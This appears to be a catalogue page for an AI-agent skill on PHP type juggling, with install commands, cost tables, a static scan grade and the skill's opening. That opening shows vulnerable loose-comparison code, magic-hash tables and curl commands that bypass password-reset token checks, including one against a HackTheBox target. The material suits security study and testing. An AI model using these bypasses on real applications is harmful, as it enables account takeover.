Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/allsmog/blackbox-claude-plugin/php-type-jugglingnpx skills add allsmog/blackbox-claude-plugin --skill php-type-jugglinggit clone --depth 1 https://github.com/allsmog/blackbox-claude-pluginWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/php-type-juggling)<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/php-type-juggling"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/php-type-juggling.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00044 | $0.01789 |
| Opus 5 | $0.00022 | $0.00894 |
| Sonnet 5 | $0.00009 | $0.00358 |
| Haiku 4.5 | $0.00004 | $0.00179 |
Grade B, and why
php-type-juggling scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl "http://target/login" -d "password[]=x" Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl "http://target/forgot-password?token=0" How it starts
The opening of the file, as written. The whole thing — 257 lines — stays where its author put it; the contents beside it link to each section on GitHub.
PHP Type Juggling Exploitation
Overview
PHP's loose comparison operator (==) performs type juggling, converting values before comparison. This leads to exploitable vulnerabilities in authentication and token validation.
Core Concept
// Vulnerable code
if ($user_token == $db_token) {
// Grant access
}
// Exploitation: if $db_token starts with "0e" and contains only digits
// "0e123456789" == 0 evaluates to TRUE
// Attacker sends token=0 to bypass validation
Magic Hashes
Magic hashes are strings that PHP interprets as scientific notation (0eXXX = 0 * 10^XXX = 0).
MD5 Magic Hashes
These strings produce MD5 hashes that start with 0e followed only by digits:
| Plaintext | MD5 Hash |
|---|---|
240610708 |
0e462097431906509019562988736854 |
QNKCDZO |
0e830400451993494058024219903391 |
0e215962017 |
0e291242476940776845150308577824 |
aabg7XSs |
0e087386482136013740957780965295 |
aabC9RqS |
0e041022518165728065344349536299 |
SHA1 Magic Hashes
| Plaintext | SHA1 Hash |
|---|---|
10932435112 |
0e07766915004133176347055865026311692244 |
aaroZmOk |
0e66507019969427134894567494305185566735 |
aaK1STfY |
0e76658526655756207688271159624026011393 |
Exploitation Techniques
1. Password Reset Token Bypass
Vulnerable Endpoint:
GET /forgot-password?token=<value>
Vulnerable Code:
$user_token = $_GET['token'];
$db_token = get_token_from_database($user_id);
if ($user_token == $db_token) {
// Allow password reset
}
Exploitation:
# If database token is a magic hash (0e...), send:
curl "http://target/forgot-password?token=0"
# Or try as array to bypass strcmp:
curl "http://target/forgot-password?token[]=anything"
Real-World Example (MonitorsFour):
# Database had token: 0e7106... (magic hash)
# Bypass with:
curl "http://monitorsfour.htb/forgot-password?token=0"
# Returns: password reset form with user credentials leaked
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 257 lines · 44 tokens per session scan B 53e1d63816d7
php-type-juggling is a skill published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 44 tokens to every session and 1,789 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other skills, from other repositories
craftcms
Craft CMS 5 plugin and module development — extending Craft with PHP. Covers elements, element queries, services, models, records, controllers, migrations, queue jobs, console commands, field types, native fields, events, behaviors, Twig extensions, widgets, filesystems, permissions, project config, GraphQL, testing…
craft-php-guidelines
Craft CMS 5 PHP coding standards and conventions. ALWAYS load when writing, editing, reviewing, or discussing any PHP in a Craft plugin or module — even small edits. Also when running ECS, PHPStan, or scaffolding with ddev craft make. Covers: PHPDoc blocks (@author, @since, @throws chains), section headers…
craft-pest
Testing Craft CMS 5 plugins and modules with Pest — test isolation, database safety, and the markhuot/craft-pest-core harness. ALWAYS load when writing, running, fixing, or reviewing tests for a Craft plugin or module, and whenever a suite touches a real Craft install. Covers why rollback is opt-in, tests/Pest.php +…
symfony:daily-workflow
Daily development workflow for Symfony projects including common tasks, debugging, and productivity tips.
laravel-migrations
Use when designing a database schema or managing Laravel 13 migrations — Schema Builder, columns, indexes, foreign keys, or seeders.
solid-php
Use when applying SOLID principles to Laravel 13 / PHP 8.3+ code — file size limits, interface placement, or PHPDoc enforcement.